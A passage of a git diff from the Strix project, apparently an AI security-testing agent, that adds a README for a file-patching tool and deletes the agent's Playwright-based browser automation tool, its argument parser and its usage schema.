--- /dev/null
+++ b/strix/tools/apply_patch/README.md
@@ -0,0 +1,10 @@
+# apply_patch
+
+SDK-provided file patching tool — the agent's only first-class way to edit
+files in the sandbox. Surfaced to the model as `patch` (renamed via
+`_TOOL_NAME_OVERRIDES` in `strix/agents/factory.py`).
+
+- **Implementation:** `agents.sandbox.capabilities.tools.apply_patch_tool.ApplyPatchTool`
+ (upstream `agents` SDK)
+- **Wired in:** `strix/agents/factory.py` — added per-run via the SDK
+ `Filesystem` capability.
diff --git a/strix/tools/argument_parser.py b/strix/tools/argument_parser.py
deleted file mode 100644
index 06b79f75d..000000000
--- a/strix/tools/argument_parser.py
+++ /dev/null
@@ -1,120 +0,0 @@
-import contextlib
-import inspect
-import json
-from collections.abc import Callable
-from typing import Any, Union, get_args, get_origin
-
-
-class ArgumentConversionError(Exception):
- def __init__(self, message: str, param_name: str | None = None) -> None:
- self.param_name = param_name
- super().__init__(message)
-
-
-def convert_arguments(func: Callable[..., Any], kwargs: dict[str, Any]) -> dict[str, Any]:
- try:
- sig = inspect.signature(func)
- converted = {}
-
- for param_name, value in kwargs.items():
- if param_name not in sig.parameters:
- converted[param_name] = value
- continue
-
- param = sig.parameters[param_name]
- param_type = param.annotation
-
- if param_type == inspect.Parameter.empty or value is None:
- converted[param_name] = value
- continue
-
- if not isinstance(value, str):
- converted[param_name] = value
- continue
-
- try:
- converted[param_name] = convert_string_to_type(value, param_type)
- except (ValueError, TypeError, json.JSONDecodeError) as e:
- raise ArgumentConversionError(
- f"Failed to convert argument '{param_name}' to type {param_type}: {e}",
- param_name=param_name,
- ) from e
-
- except (ValueError, TypeError, AttributeError) as e:
- raise ArgumentConversionError(f"Failed to process function arguments: {e}") from e
-
- return converted
-
-
-def convert_string_to_type(value: str, param_type: Any) -> Any:
- origin = get_origin(param_type)
- if origin is Union or origin is type(str | None):
- args = get_args(param_type)
- for arg_type in args:
- if arg_type is not type(None):
- with contextlib.suppress(ValueError, TypeError, json.JSONDecodeError):
- return convert_string_to_type(value, arg_type)
- return value
-
- if hasattr(param_type, "__args__"):
- args = getattr(param_type, "__args__", ())
- if len(args) == 2 and type(None) in args:
- non_none_type = args[0] if args[1] is type(None) else args[1]
- with contextlib.suppress(ValueError, TypeError, json.JSONDecodeError):
- return convert_string_to_type(value, non_none_type)
- return value
-
- return _convert_basic_types(value, param_type, origin)
-
-
-def _convert_basic_types(value: str, param_type: Any, origin: Any = None) -> Any:
- basic_type_converters: dict[Any, Callable[[str], Any]] = {
- int: int,
- float: float,
- bool: _convert_to_bool,
- str: str,
- }
-
- if param_type in basic_type_converters:
- return basic_type_converters[param_type](value)
-
- if list in (origin, param_type):
- return _convert_to_list(value)
- if dict in (origin, param_type):
- return _convert_to_dict(value)
-
- with contextlib.suppress(json.JSONDecodeError):
- return json.loads(value)
- return value
-
-
-def _convert_to_bool(value: str) -> bool:
- if value.lower() in ("true", "1", "yes", "on"):
- return True
- if value.lower() in ("false", "0", "no", "off"):
- return False
- return bool(value)
-
-
-def _convert_to_list(value: str) -> list[Any]:
- try:
- parsed = json.loads(value)
- if isinstance(parsed, list):
- return parsed
- except json.JSONDecodeError:
- if "," in value:
- return [item.strip() for item in value.split(",")]
- return [value]
- else:
- return [parsed]
-
-
-def _convert_to_dict(value: str) -> dict[str, Any]:
- try:
- parsed = json.loads(value)
- if isinstance(parsed, dict):
- return parsed
- except json.JSONDecodeError:
- return {}
- else:
- return {}
diff --git a/strix/tools/browser/__init__.py b/strix/tools/browser/__init__.py
deleted file mode 100644
index 0b8c6f663..000000000
--- a/strix/tools/browser/__init__.py
+++ /dev/null
@@ -1,4 +0,0 @@
-from .browser_actions import browser_action
-
-
-__all__ = ["browser_action"]
diff --git a/strix/tools/browser/browser_actions.py b/strix/tools/browser/browser_actions.py
deleted file mode 100644
index ca7a26a16..000000000
--- a/strix/tools/browser/browser_actions.py
+++ /dev/null
@@ -1,236 +0,0 @@
-from typing import Any, Literal, NoReturn
-
-from strix.tools.registry import register_tool
-
-from .tab_manager import BrowserTabManager, get_browser_tab_manager
-
-
-BrowserAction = Literal[
- "launch",
- "goto",
- "click",
- "type",
- "scroll_down",
- "scroll_up",
- "back",
- "forward",
- "new_tab",
- "switch_tab",
- "close_tab",
- "wait",
- "execute_js",
- "double_click",
- "hover",
- "press_key",
- "save_pdf",
- "get_console_logs",
- "view_source",
- "close",
- "list_tabs",
-]
-
-
-def _validate_url(action_name: str, url: str | None) -> None:
- if not url:
- raise ValueError(f"url parameter is required for {action_name} action")
-
-
-def _validate_coordinate(action_name: str, coordinate: str | None) -> None:
- if not coordinate:
- raise ValueError(f"coordinate parameter is required for {action_name} action")
-
-
-def _validate_text(action_name: str, text: str | None) -> None:
- if not text:
- raise ValueError(f"text parameter is required for {action_name} action")
-
-
-def _validate_tab_id(action_name: str, tab_id: str | None) -> None:
- if not tab_id:
- raise ValueError(f"tab_id parameter is required for {action_name} action")
-
-
-def _validate_js_code(action_name: str, js_code: str | None) -> None:
- if not js_code:
- raise ValueError(f"js_code parameter is required for {action_name} action")
-
-
-def _validate_duration(action_name: str, duration: float | None) -> None:
- if duration is None:
- raise ValueError(f"duration parameter is required for {action_name} action")
-
-
-def _validate_key(action_name: str, key: str | None) -> None:
- if not key:
- raise ValueError(f"key parameter is required for {action_name} action")
-
-
-def _validate_file_path(action_name: str, file_path: str | None) -> None:
- if not file_path:
- raise ValueError(f"file_path parameter is required for {action_name} action")
-
-
-def _handle_navigation_actions(
- manager: BrowserTabManager,
- action: str,
- url: str | None = None,
- tab_id: str | None = None,
-) -> dict[str, Any]:
- if action == "launch":
- return manager.launch_browser(url)
- if action == "goto":
- _validate_url(action, url)
- assert url is not None
- return manager.goto_url(url, tab_id)
- if action == "back":
- return manager.back(tab_id)
- if action == "forward":
- return manager.forward(tab_id)
- raise ValueError(f"Unknown navigation action: {action}")
-
-
-def _handle_interaction_actions(
- manager: BrowserTabManager,
- action: str,
- coordinate: str | None = None,
- text: str | None = None,
- key: str | None = None,
- tab_id: str | None = None,
-) -> dict[str, Any]:
- if action in {"click", "double_click", "hover"}:
- _validate_coordinate(action, coordinate)
- assert coordinate is not None
- action_map = {
- "click": manager.click,
- "double_click": manager.double_click,
- "hover": manager.hover,
- }
- return action_map[action](coordinate, tab_id)
-
- if action in {"scroll_down", "scroll_up"}:
- direction = "down" if action == "scroll_down" else "up"
- return manager.scroll(direction, tab_id)
-
- if action == "type":
- _validate_text(action, text)
- assert text is not None
- return manager.type_text(text, tab_id)
- if action == "press_key":
- _validate_key(action, key)
- assert key is not None
- return manager.press_key(key, tab_id)
-
- raise ValueError(f"Unknown interaction action: {action}")
-
-
-def _raise_unknown_action(action: str) -> NoReturn:
- raise ValueError(f"Unknown action: {action}")
-
-
-def _handle_tab_actions(
- manager: BrowserTabManager,
- action: str,
- url: str | None = None,
- tab_id: str | None = None,
-) -> dict[str, Any]:
- if action == "new_tab":
- return manager.new_tab(url)
- if action == "switch_tab":
- _validate_tab_id(action, tab_id)
- assert tab_id is not None
- return manager.switch_tab(tab_id)
- if action == "close_tab":
- _validate_tab_id(action, tab_id)
- assert tab_id is not None
- return manager.close_tab(tab_id)
- if action == "list_tabs":
- return manager.list_tabs()
- raise ValueError(f"Unknown tab action: {action}")
-
-
-def _handle_utility_actions(
- manager: BrowserTabManager,
- action: str,
- duration: float | None = None,
- js_code: str | None = None,
- file_path: str | None = None,
- tab_id: str | None = None,
- clear: bool = False,
-) -> dict[str, Any]:
- if action == "wait":
- _validate_duration(action, duration)
- assert duration is not None
- return manager.wait_browser(duration, tab_id)
- if action == "execute_js":
- _validate_js_code(action, js_code)
- assert js_code is not None
- return manager.execute_js(js_code, tab_id)
- if action == "save_pdf":
- _validate_file_path(action, file_path)
- assert file_path is not None
- return manager.save_pdf(file_path, tab_id)
- if action == "get_console_logs":
- return manager.get_console_logs(tab_id, clear)
- if action == "view_source":
- return manager.view_source(tab_id)
- if action == "close":
- return manager.close_browser()
- raise ValueError(f"Unknown utility action: {action}")
-
-
-@register_tool
-def browser_action(
- action: BrowserAction,
- url: str | None = None,
- coordinate: str | None = None,
- text: str | None = None,
- tab_id: str | None = None,
- js_code: str | None = None,
- duration: float | None = None,
- key: str | None = None,
- file_path: str | None = None,
- clear: bool = False,
-) -> dict[str, Any]:
- manager = get_browser_tab_manager()
-
- try:
- navigation_actions = {"launch", "goto", "back", "forward"}
- interaction_actions = {
- "click",
- "type",
- "double_click",
- "hover",
- "press_key",
- "scroll_down",
- "scroll_up",
- }
- tab_actions = {"new_tab", "switch_tab", "close_tab", "list_tabs"}
- utility_actions = {
- "wait",
- "execute_js",
- "save_pdf",
- "get_console_logs",
- "view_source",
- "close",
- }
-
- if action in navigation_actions:
- return _handle_navigation_actions(manager, action, url, tab_id)
- if action in interaction_actions:
- return _handle_interaction_actions(manager, action, coordinate, text, key, tab_id)
- if action in tab_actions:
- return _handle_tab_actions(manager, action, url, tab_id)
- if action in utility_actions:
- return _handle_utility_actions(
- manager, action, duration, js_code, file_path, tab_id, clear
- )
-
- _raise_unknown_action(action)
-
- except (ValueError, RuntimeError) as e:
- return {
- "error": str(e),
- "tab_id": tab_id,
- "screenshot": "",
- "is_running": False,
- }
diff --git a/strix/tools/browser/browser_actions_schema.xml b/strix/tools/browser/browser_actions_schema.xml
deleted file mode 100644
index b6fdfc644..000000000
--- a/strix/tools/browser/browser_actions_schema.xml
+++ /dev/null
@@ -1,183 +0,0 @@
-
-
-
- Perform browser actions using a Playwright-controlled browser with multiple tabs.
- The browser is PERSISTENT and remains active until explicitly closed, allowing for
- multi-step workflows and long-running processes across multiple tabs.
-
-
-
-
- Required for 'launch', 'goto', and optionally for 'new_tab' actions. The URL to launch the browser at, navigate to, or load in new tab. Must include appropriate protocol (e.g., http://, https://, file://).
-
-
- Required for 'click', 'double_click', and 'hover' actions. Format: "x,y" (e.g., "432,321"). Coordinates should target the center of elements (buttons, links, etc.). Must be within the browser viewport resolution. Be very careful to calculate the coordinates correctly based on the previous screenshot.
-
-
- Required for 'type' action. The text to type in the field.
-
-
- Required for 'switch_tab' and 'close_tab' actions. Optional for other actions to specify which tab to operate on. The ID of the tab to operate on. The first tab created during 'launch' has ID "tab_1". If not provided, actions will operate on the currently active tab.
-
-
- Required for 'execute_js' action. JavaScript code to execute in the page context. The code runs in the context of the current page and has access to the DOM and all page-defined variables and functions. The last evaluated expression's value is returned in the response.
-
-
- Required for 'wait' action. Number of seconds to pause execution. Can be fractional (e.g., 0.5 for half a second).
-
-
- Required for 'press_key' action. The key to press. Valid values include: - Single characters: 'a'-'z', 'A'-'Z', '0'-'9' - Special keys: 'Enter', 'Escape', 'ArrowLeft', 'ArrowRight', etc. - Modifier keys: 'Shift', 'Control', 'Alt', 'Meta' - Function keys: 'F1'-'F12'
-
-
- Required for 'save_pdf' action. The file path where to save the PDF.
-
-
- For 'get_console_logs' action: whether to clear console logs after retrieving them. Default is False (keep logs).
-
-
-
- Response containing: - screenshot: Base64 encoded PNG of the current page state - url: Current page URL - title: Current page title - viewport: Current browser viewport dimensions - tab_id: ID of the current active tab - all_tabs: Dict of all open tab IDs and their URLs - message: Status message about the action performed - js_result: Result of JavaScript execution (for execute_js action) - pdf_saved: File path of saved PDF (for save_pdf action) - console_logs: Array of console messages (for get_console_logs action) Limited to 50KB total and 200 most recent logs. Individual messages truncated at 1KB. - page_source: HTML source code (for view_source action) Large pages are truncated to 100KB (keeping beginning and end sections).
-
-
- Important usage rules:
- 1. PERSISTENCE: The browser remains active and maintains its state until
- explicitly closed with the 'close' action. This allows for multi-step workflows
- across multiple tool calls and tabs.
- 2. Browser interaction MUST start with 'launch' and end with 'close'.
- 3. Only one action can be performed per call.
- 4. To visit a new URL not reachable from current page, either:
- - Use 'goto' action
- - Open a new tab with the URL
- - Close browser and relaunch
- 5. Click coordinates must be derived from the most recent screenshot.
- 6. You MUST click on the center of the element, not the edge. You MUST calculate
- the coordinates correctly based on the previous screenshot, otherwise the click
- will fail. After clicking, check the new screenshot to verify the click was
- successful.
- 7. Tab management:
- - First tab from 'launch' is "tab_1"
- - New tabs are numbered sequentially ("tab_2", "tab_3", etc.)
- - Must have at least one tab open at all times
- - Actions affect the currently active tab unless tab_id is specified
- 8. JavaScript execution (following Playwright evaluation patterns):
- - Code runs in the browser page context, not the tool context
- - Has access to DOM (document, window, etc.) and page variables/functions
- - The LAST EVALUATED EXPRESSION is automatically returned - no return statement needed
- - For simple values: document.title (returns the title)
- - For objects: {title: document.title, url: location.href} (returns the object)
- - For async operations: Use await and the promise result will be returned
- - AVOID explicit return statements - they can break evaluation
- - object literals must be wrapped in paranthesis when they are the final expression
- - Variables from tool context are NOT available - pass data as parameters if needed
- - Examples of correct patterns:
- * Single value: document.querySelectorAll('img').length
- * Object result: {images: document.images.length, links: document.links.length}
- * Async operation: await fetch(location.href).then(r => r.status)
- * DOM manipulation: document.body.style.backgroundColor = 'red'; 'background changed'
-
- 9. Wait action:
- - Time is specified in seconds
- - Can be used to wait for page loads, animations, etc.
- - Can be fractional (e.g., 0.5 seconds)
- - Screenshot is captured after the wait
- 10. The browser can operate concurrently with other tools. You may invoke
- terminal, python, or other tools (in separate assistant messages) while maintaining
- the active browser session, enabling sophisticated multi-tool workflows.
- 11. Keyboard actions:
- - Use press_key for individual key presses
- - Use type for typing regular text
- - Some keys have special names based on Playwright's key documentation
- 12. All code in the js_code parameter is executed as-is - there's no need to
- escape special characters or worry about formatting. Just write your JavaScript
- code normally. It can be single line or multi-line.
- 13. For form filling, click on the field first, then use 'type' to enter text.
- 14. The browser runs in headless mode using Chrome engine for security and performance.
-
-
- # Launch browser at URL (creates tab_1)
-
- launch
- https://example.com
-
-
- # Navigate to different URL
-
- goto
- https://github.com
-
-
- # Open new tab with different URL
-
- new_tab
- https://another-site.com
-
-
- # Wait for page load
-
- wait
- 2.5
-
-
- # Click login button at coordinates from screenshot
-
- click
- 450,300
-
-
- # Click username field and type
-
- click
- 400,200
-
-
-
- type
- user@example.com
-
-
- # Click password field and type
-
- click
- 400,250
-
-
-
- type
- mypassword123
-
-
- # Press Enter key
-
- press_key
- Enter
-
-
- # Execute JavaScript to get page stats (correct pattern - no return statement)
-
- execute_js
- const images = document.querySelectorAll('img');
-const links = document.querySelectorAll('a');
-{
- images: images.length,
- links: links.length,
- title: document.title
-}
-
-
- # Scroll down
-
- scroll_down
-
-
- # Get console logs
-
- get_console_logs
-
-
- # View page source
-
- view_source
-
-
-
-
diff --git a/strix/tools/browser/browser_instance.py b/strix/tools/browser/browser_instance.py
deleted file mode 100644
index 3e756f679..000000000
--- a/strix/tools/browser/browser_instance.py
+++ /dev/null
@@ -1,533 +0,0 @@
-import asyncio
-import base64
-import logging
-import threading
-from pathlib import Path
-from typing import Any, cast
-
-from playwright.async_api import Browser, BrowserContext, Page, Playwright, async_playwright
-
-
-logger = logging.getLogger(__name__)
-
-MAX_PAGE_SOURCE_LENGTH = 20_000
-MAX_CONSOLE_LOG_LENGTH = 30_000
-MAX_INDIVIDUAL_LOG_LENGTH = 1_000
-MAX_CONSOLE_LOGS_COUNT = 200
-MAX_JS_RESULT_LENGTH = 5_000
-
-
-class BrowserInstance:
- def __init__(self) -> None:
- self.is_running = True
- self._execution_lock = threading.Lock()
-
- self.playwright: Playwright | None = None
- self.browser: Browser | None = None
- self.context: BrowserContext | None = None
- self.pages: dict[str, Page] = {}
- self.current_page_id: str | None = None
- self._next_tab_id = 1
-
- self.console_logs: dict[str, list[dict[str, Any]]] = {}
-
- self._loop: asyncio.AbstractEventLoop | None = None
- self._loop_thread: threading.Thread | None = None
-
- self._start_event_loop()
-
- def _start_event_loop(self) -> None:
- def run_loop() -> None:
- self._loop = asyncio.new_event_loop()
- asyncio.set_event_loop(self._loop)
- self._loop.run_forever()
-
- self._loop_thread = threading.Thread(target=run_loop, daemon=True)
- self._loop_thread.start()
-
- while self._loop is None:
- threading.Event().wait(0.01)
-
- def _run_async(self, coro: Any) -> dict[str, Any]:
- if not self._loop or not self.is_running:
- raise RuntimeError("Browser instance is not running")
-
- future = asyncio.run_coroutine_threadsafe(coro, self._loop)
- return cast("dict[str, Any]", future.result(timeout=30)) # 30 second timeout
-
- async def _setup_console_logging(self, page: Page, tab_id: str) -> None:
- self.console_logs[tab_id] = []
-
- def handle_console(msg: Any) -> None:
- text = msg.text
- if len(text) > MAX_INDIVIDUAL_LOG_LENGTH:
- text = text[:MAX_INDIVIDUAL_LOG_LENGTH] + "... [TRUNCATED]"
-
- log_entry = {
- "type": msg.type,
- "text": text,
- "location": msg.location,
- "timestamp": asyncio.get_event_loop().time(),
- }
-
- self.console_logs[tab_id].append(log_entry)
-
- if len(self.console_logs[tab_id]) > MAX_CONSOLE_LOGS_COUNT:
- self.console_logs[tab_id] = self.console_logs[tab_id][-MAX_CONSOLE_LOGS_COUNT:]
-
- page.on("console", handle_console)
-
- async def _launch_browser(self, url: str | None = None) -> dict[str, Any]:
- self.playwright = await async_playwright().start()
-
- self.browser = await self.playwright.chromium.launch(
- headless=True,
- args=[
- "--no-sandbox",
- "--disable-dev-shm-usage",
- "--disable-gpu",
- "--disable-web-security",
- "--disable-features=VizDisplayCompositor",
- ],
- )
-
- self.context = await self.browser.new_context(
- viewport={"width": 1280, "height": 720},
- user_agent=(
- "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
- "(KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
- ),
- )
-
- page = await self.context.new_page()
- tab_id = f"tab_{self._next_tab_id}"
- self._next_tab_id += 1
- self.pages[tab_id] = page
- self.current_page_id = tab_id
-
- await self._setup_console_logging(page, tab_id)
-
- if url:
- await page.goto(url, wait_until="domcontentloaded")
-
- return await self._get_page_state(tab_id)
-
- async def _get_page_state(self, tab_id: str | None = None) -> dict[str, Any]:
- if not tab_id:
- tab_id = self.current_page_id
-
- if not tab_id or tab_id not in self.pages:
- raise ValueError(f"Tab '{tab_id}' not found")
-
- page = self.pages[tab_id]
-
- await asyncio.sleep(2)
-
- screenshot_bytes = await page.screenshot(type="png", full_page=False)
- screenshot_b64 = base64.b64encode(screenshot_bytes).decode("utf-8")
-
- url = page.url
- title = await page.title()
- viewport = page.viewport_size
-
- all_tabs = {}
- for tid, tab_page in self.pages.items():
- all_tabs[tid] = {
- "url": tab_page.url,
- "title": await tab_page.title() if not tab_page.is_closed() else "Closed",
- }
-
- return {
- "screenshot": screenshot_b64,
- "url": url,
- "title": title,
- "viewport": viewport,
- "tab_id": tab_id,
- "all_tabs": all_tabs,
- }
-
- def launch(self, url: str | None = None) -> dict[str, Any]:
- with self._execution_lock:
- if self.browser is not None:
- raise ValueError("Browser is already launched")
-
- return self._run_async(self._launch_browser(url))
-
- def goto(self, url: str, tab_id: str | None = None) -> dict[str, Any]:
- with self._execution_lock:
- return self._run_async(self._goto(url, tab_id))
-
- async def _goto(self, url: str, tab_id: str | None = None) -> dict[str, Any]:
- if not tab_id:
- tab_id = self.current_page_id
-
- if not tab_id or tab_id not in self.pages:
- raise ValueError(f"Tab '{tab_id}' not found")
-
- page = self.pages[tab_id]
- await page.goto(url, wait_until="domcontentloaded")
-
- return await self._get_page_state(tab_id)
-
- def click(self, coordinate: str, tab_id: str | None = None) -> dict[str, Any]:
- with self._execution_lock:
- return self._run_async(self._click(coordinate, tab_id))
-
- async def _click(self, coordinate: str, tab_id: str | None = None) -> dict[str, Any]:
- if not tab_id:
- tab_id = self.current_page_id
-
- if not tab_id or tab_id not in self.pages:
- raise ValueError(f"Tab '{tab_id}' not found")
-
- try:
- x, y = map(int, coordinate.split(","))
- except ValueError as e:
- raise ValueError(f"Invalid coordinate format: {coordinate}. Use 'x,y'") from e
-
- page = self.pages[tab_id]
- await page.mouse.click(x, y)
-
- return await self._get_page_state(tab_id)
-
- def type_text(self, text: str, tab_id: str | None = None) -> dict[str, Any]:
- with self._execution_lock:
- return self._run_async(self._type_text(text, tab_id))
-
- async def _type_text(self, text: str, tab_id: str | None = None) -> dict[str, Any]:
- if not tab_id:
- tab_id = self.current_page_id
-
- if not tab_id or tab_id not in self.pages:
- raise ValueError(f"Tab '{tab_id}' not found")
-
- page = self.pages[tab_id]
- await page.keyboard.type(text)
-
- return await self._get_page_state(tab_id)
-
- def scroll(self, direction: str, tab_id: str | None = None) -> dict[str, Any]:
- with self._execution_lock:
- return self._run_async(self._scroll(direction, tab_id))
-
- async def _scroll(self, direction: str, tab_id: str | None = None) -> dict[str, Any]:
- if not tab_id:
- tab_id = self.current_page_id
-
- if not tab_id or tab_id not in self.pages:
- raise ValueError(f"Tab '{tab_id}' not found")
-
- page = self.pages[tab_id]
-
- if direction == "down":
- await page.keyboard.press("PageDown")
- elif direction == "up":
- await page.keyboard.press("PageUp")
- else:
- raise ValueError(f"Invalid scroll direction: {direction}")
-
- return await self._get_page_state(tab_id)
-
- def back(self, tab_id: str | None = None) -> dict[str, Any]:
- with self._execution_lock:
- return self._run_async(self._back(tab_id))
-
- async def _back(self, tab_id: str | None = None) -> dict[str, Any]:
- if not tab_id:
- tab_id = self.current_page_id
-
- if not tab_id or tab_id not in self.pages:
- raise ValueError(f"Tab '{tab_id}' not found")
-
- page = self.pages[tab_id]
- await page.go_back(wait_until="domcontentloaded")
-
- return await self._get_page_state(tab_id)
-
- def forward(self, tab_id: str | None = None) -> dict[str, Any]:
- with self._execution_lock:
- return self._run_async(self._forward(tab_id))
-
- async def _forward(self, tab_id: str | None = None) -> dict[str, Any]:
- if not tab_id:
- tab_id = self.current_page_id
-
- if not tab_id or tab_id not in self.pages:
- raise ValueError(f"Tab '{tab_id}' not found")
-
- page = self.pages[tab_id]
- await page.go_forward(wait_until="domcontentloaded")
-
- return await self._get_page_state(tab_id)
-
- def new_tab(self, url: str | None = None) -> dict[str, Any]:
- with self._execution_lock:
- return self._run_async(self._new_tab(url))
-
- async def _new_tab(self, url: str | None = None) -> dict[str, Any]:
- if not self.context:
- raise ValueError("Browser not launched")
-
- page = await self.context.new_page()
- tab_id = f"tab_{self._next_tab_id}"
- self._next_tab_id += 1
- self.pages[tab_id] = page
- self.current_page_id = tab_id
-
- await self._setup_console_logging(page, tab_id)
-
- if url:
- await page.goto(url, wait_until="domcontentloaded")
-
- return await self._get_page_state(tab_id)
-
- def switch_tab(self, tab_id: str) -> dict[str, Any]:
- with self._execution_lock:
- return self._run_async(self._switch_tab(tab_id))
-
- async def _switch_tab(self, tab_id: str) -> dict[str, Any]:
- if tab_id not in self.pages:
- raise ValueError(f"Tab '{tab_id}' not found")
-
- self.current_page_id = tab_id
- return await self._get_page_state(tab_id)
-
- def close_tab(self, tab_id: str) -> dict[str, Any]:
- with self._execution_lock:
- return self._run_async(self._close_tab(tab_id))
-
- async def _close_tab(self, tab_id: str) -> dict[str, Any]:
- if tab_id not in self.pages:
- raise ValueError(f"Tab '{tab_id}' not found")
-
- if len(self.pages) == 1:
- raise ValueError("Cannot close the last tab")
-
- page = self.pages.pop(tab_id)
- await page.close()
-
- if tab_id in self.console_logs:
- del self.console_logs[tab_id]
-
- if self.current_page_id == tab_id:
- self.current_page_id = next(iter(self.pages.keys()))
-
- return await self._get_page_state(self.current_page_id)
-
- def wait(self, duration: float, tab_id: str | None = None) -> dict[str, Any]:
- with self._execution_lock:
- return self._run_async(self._wait(duration, tab_id))
-
- async def _wait(self, duration: float, tab_id: str | None = None) -> dict[str, Any]:
- await asyncio.sleep(duration)
- return await self._get_page_state(tab_id)
-
- def execute_js(self, js_code: str, tab_id: str | None = None) -> dict[str, Any]:
- with self._execution_lock:
- return self._run_async(self._execute_js(js_code, tab_id))
-
- async def _execute_js(self, js_code: str, tab_id: str | None = None) -> dict[str, Any]:
- if not tab_id:
- tab_id = self.current_page_id
-
- if not tab_id or tab_id not in self.pages:
- raise ValueError(f"Tab '{tab_id}' not found")
-
- page = self.pages[tab_id]
-
- try:
- result = await page.evaluate(js_code)
- except Exception as e: # noqa: BLE001
- result = {
- "error": True,
- "error_type": type(e).__name__,
- "error_message": str(e),
- }
-
- result_str = str(result)
- if len(result_str) > MAX_JS_RESULT_LENGTH:
- result = result_str[:MAX_JS_RESULT_LENGTH] + "... [JS result truncated at 5k chars]"
-
- state = await self._get_page_state(tab_id)
- state["js_result"] = result
- return state
-
- def get_console_logs(self, tab_id: str | None = None, clear: bool = False) -> dict[str, Any]:
- with self._execution_lock:
- return self._run_async(self._get_console_logs(tab_id, clear))
-
- async def _get_console_logs(
- self, tab_id: str | None = None, clear: bool = False
- ) -> dict[str, Any]:
- if not tab_id:
- tab_id = self.current_page_id
-
- if not tab_id or tab_id not in self.pages:
- raise ValueError(f"Tab '{tab_id}' not found")
-
- logs = self.console_logs.get(tab_id, [])
-
- total_length = sum(len(str(log)) for log in logs)
- if total_length > MAX_CONSOLE_LOG_LENGTH:
- truncated_logs: list[dict[str, Any]] = []
- current_length = 0
-
- for log in reversed(logs):
- log_length = len(str(log))
- if current_length + log_length <= MAX_CONSOLE_LOG_LENGTH:
- truncated_logs.insert(0, log)
- current_length += log_length
- else:
- break
-
- if len(truncated_logs) < len(logs):
- truncation_notice = {
- "type": "info",
- "text": (
- f"[TRUNCATED: {len(logs) - len(truncated_logs)} older logs "
- f"removed to stay within {MAX_CONSOLE_LOG_LENGTH} character limit]"
- ),
- "location": {},
- "timestamp": 0,
- }
- truncated_logs.insert(0, truncation_notice)
-
- logs = truncated_logs
-
- if clear:
- self.console_logs[tab_id] = []
-
- state = await self._get_page_state(tab_id)
- state["console_logs"] = logs
- return state
-
- def view_source(self, tab_id: str | None = None) -> dict[str, Any]:
- with self._execution_lock:
- return self._run_async(self._view_source(tab_id))
-
- async def _view_source(self, tab_id: str | None = None) -> dict[str, Any]:
- if not tab_id:
- tab_id = self.current_page_id
-
- if not tab_id or tab_id not in self.pages:
- raise ValueError(f"Tab '{tab_id}' not found")
-
- page = self.pages[tab_id]
- source = await page.content()
- original_length = len(source)
-
- if original_length > MAX_PAGE_SOURCE_LENGTH:
- truncation_message = (
- f"\n\n\n\n"
- )
- available_space = MAX_PAGE_SOURCE_LENGTH - len(truncation_message)
- truncate_point = available_space // 2
-
- source = source[:truncate_point] + truncation_message + source[-truncate_point:]
-
- state = await self._get_page_state(tab_id)
- state["page_source"] = source
- return state
-
- def double_click(self, coordinate: str, tab_id: str | None = None) -> dict[str, Any]:
- with self._execution_lock:
- return self._run_async(self._double_click(coordinate, tab_id))
-
- async def _double_click(self, coordinate: str, tab_id: str | None = None) -> dict[str, Any]:
- if not tab_id:
- tab_id = self.current_page_id
-
- if not tab_id or tab_id not in self.pages:
- raise ValueError(f"Tab '{tab_id}' not found")
-
- try:
- x, y = map(int, coordinate.split(","))
- except ValueError as e:
- raise ValueError(f"Invalid coordinate format: {coordinate}. Use 'x,y'") from e
-
- page = self.pages[tab_id]
- await page.mouse.dblclick(x, y)
-
- return await self._get_page_state(tab_id)
-
- def hover(self, coordinate: str, tab_id: str | None = None) -> dict[str, Any]:
- with self._execution_lock:
- return self._run_async(self._hover(coordinate, tab_id))
-
- async def _hover(self, coordinate: str, tab_id: str | None = None) -> dict[str, Any]:
- if not tab_id:
- tab_id = self.current_page_id
-
- if not tab_id or tab_id not in self.pages:
- raise ValueError(f"Tab '{tab_id}' not found")
-
- try:
- x, y = map(int, coordinate.split(","))
- except ValueError as e:
- raise ValueError(f"Invalid coordinate format: {coordinate}. Use 'x,y'") from e
-
- page = self.pages[tab_id]
- await page.mouse.move(x, y)
-
- return await self._get_page_state(tab_id)
-
- def press_key(self, key: str, tab_id: str | None = None) -> dict[str, Any]:
- with self._execution_lock:
- return self._run_async(self._press_key(key, tab_id))
-
- async def _press_key(self, key: str, tab_id: str | None = None) -> dict[str, Any]:
- if not tab_id:
- tab_id = self.current_page_id
-
- if not tab_id or tab_id not in self.pages:
- raise ValueError(f"Tab '{tab_id}' not found")
-
- page = self.pages[tab_id]
- await page.keyboard.press(key)
-
- return await self._get_page_state(tab_id)
-
- def save_pdf(self, file_path: str, tab_id: str | None = None) -> dict[str, Any]:
- with self._execution_lock:
- return self._run_async(self._save_pdf(file_path, tab_id))
-
- async def _save_pdf(self, file_path: str, tab_id: str | None = None) -> dict[str, Any]:
- if not tab_id:
- tab_id = self.current_page_id
-
- if not tab_id or tab_id not in self.pages:
- raise ValueError(f"Tab '{tab_id}' not found")
-
- if not Path(file_path).is_absolute():
- file_path = str(Path("/workspace") / file_path)
-
- page = self.pages[tab_id]
- await page.pdf(path=file_path)
-
- state = await self._get_page_state(tab_id)
- state["pdf_saved"] = file_path
- return state
-
- def close(self) -> None:
- with self._execution_lock:
- self.is_running = False
- if self._loop:
- asyncio.run_coroutine_threadsafe(self._close_browser(), self._loop)
-
- self._loop.call_soon_threadsafe(self._loop.stop)
-
- if self._loop_thread:
- self._loop_thread.join(timeout=5)
-
- async def _close_browser(self) -> None:
- try:
- if self.browser:
- await self.browser.close()
- if self.playwright:
- await self.playwright.stop()
- except (OSError, RuntimeError) as e:
- logger.warning(f"Error closing browser: {e}")
-
- def is_alive(self) -> bool:
- return self.is_running and self.browser is not None and self.browser.is_connected()
diff --git a/strix/tools/browser/tab_manager.py b/strix/tools/browser/tab_manager.py
deleted file mode 100644
index 3b4b674fa..000000000
--- a/strix/tools/browser/tab_manager.py
+++ /dev/null
@@ -1,342 +0,0 @@
-import atexit
-import contextlib
-import signal
-import sys
-import threading
-from typing import Any
-
-from .browser_instance import BrowserInstance
-
-
-class BrowserTabManager:
- def __init__(self) -> None:
- self.browser_instance: BrowserInstance | None = None
- self._lock = threading.Lock()
-
- self._register_cleanup_handlers()
-
- def launch_browser(self, url: str | None = None) -> dict[str, Any]:
- with self._lock:
- if self.browser_instance is not None:
- raise ValueError("Browser is already launched")
-
- try:
